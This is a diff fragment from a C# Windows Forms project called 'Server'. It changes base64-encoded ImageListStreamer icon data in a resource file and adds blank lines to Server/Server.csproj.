+ AWYCmQEAAWYBmQHMAQABZgGZAf8BAAFmAcwCAAFmAcwBMwEAAWYBzAGZAQABZgLMAQABZgHMAf8BAAFm
+ Af8CAAFmAf8BMwEAAWYB/wGZAQABZgH/AcwBAAHMAQAB/wEAAf8BAAHMAQACmQIAAZkBMwGZAQABmQEA
+ AZkBAAGZAQABzAEAAZkDAAGZAjMBAAGZAQABZgEAAZkBMwHMAQABmQEAAf8BAAGZAWYCAAGZAWYBMwEA
+ AZkBMwFmAQABmQFmAZkBAAGZAWYBzAEAAZkBMwH/AQACmQEzAQACmQFmAQADmQEAApkBzAEAApkB/wEA
+ AZkBzAIAAZkBzAEzAQABZgHMAWYBAAGZAcwBmQEAAZkCzAEAAZkBzAH/AQABmQH/AgABmQH/ATMBAAGZ
+ AcwBZgEAAZkB/wGZAQABmQH/AcwBAAGZAv8BAAHMAwABmQEAATMBAAHMAQABZgEAAcwBAAGZAQABzAEA
+ AcwBAAGZATMCAAHMAjMBAAHMATMBZgEAAcwBMwGZAQABzAEzAcwBAAHMATMB/wEAAcwBZgIAAcwBZgEz
+ AQABmQJmAQABzAFmAZkBAAHMAWYBzAEAAZkBZgH/AQABzAGZAgABzAGZATMBAAHMAZkBZgEAAcwCmQEA
+ AcwBmQHMAQABzAGZAf8BAALMAgACzAEzAQACzAFmAQACzAGZAQADzAEAAswB/wEAAcwB/wIAAcwB/wEz
+ AQABmQH/AWYBAAHMAf8BmQEAAcwB/wHMAQABzAL/AQABzAEAATMBAAH/AQABZgEAAf8BAAGZAQABzAEz
+ AgAB/wIzAQAB/wEzAWYBAAH/ATMBmQEAAf8BMwHMAQAB/wEzAf8BAAH/AWYCAAH/AWYBMwEAAcwCZgEA
+ Af8BZgGZAQAB/wFmAcwBAAHMAWYB/wEAAf8BmQIAAf8BmQEzAQAB/wGZAWYBAAH/ApkBAAH/AZkBzAEA
+ Af8BmQH/AQAB/wHMAgAB/wHMATMBAAH/AcwBZgEAAf8BzAGZAQAB/wLMAQAB/wHMAf8BAAL/ATMBAAHM
+ Af8BZgEAAv8BmQEAAv8BzAEAAmYB/wEAAWYB/wFmAQABZgL/AQAB/wJmAQAB/wFmAf8BAAL/AWYBAAEh
+ AQABpQEAA18BAAN3AQADhgEAA5YBAAPLAQADsgEAA9cBAAPdAQAD4wEAA+oBAAPxAQAD+AEAAfAB+wH/
+ AQABpAKgAQADgAMAAf8CAAH/AwAC/wEAAf8DAAH/AQAB/wEAAv8CAAP/ggABGgGZC1IBGjIAAXQBGwEa
+ BJoFegHDAVIyAAFSAfYBoAKaA3oEWQHDAVIyAAFSAfYBwwGgApoDegNZAcMBUjIAAVIB9gLDAqABmgN6
+ AlkBwwFSMgABUgL/A/YBwwKaA3oBwwFSMgABUgH2ApoBegEbBvYB/wFYMgABWAH2A5oCegKaA3oB9gFY
+ MgABWAH2A5oBGgb2Af8BeTIAAVgF/wH2BHkCmQEbMgAHeQf/8QABQgFNAT4HAAE+AwABKAMAAUADAAEQ
+ AwABAQEAAQEFAAGAFwAD/wEAAv8GAAL/BgABgAEBBgABgAEBBgABgAEBBgABgAEBBgABgAEBBgABgAEB
+ BgABgAEBBgABgAEBBgABgAEBBgABgAEBBgABgAEBBgAC/wYAAv8GAAL/BgAL
@@ -169,7 +169,7 @@
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABk
- CQAAAk1TRnQBSQFMAgEBAgEAAdgBAAHYAQABEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
+ CQAAAk1TRnQBSQFMAgEBAgEAASABAQEgAQEBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
AwABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA
AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5
AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA
diff --git a/Server/Server.csproj b/Server/Server.csproj
index e251c3e2..d76e4c5d 100644
--- a/Server/Server.csproj
+++ b/Server/Server.csproj
@@ -143,12 +143,14 @@
+
+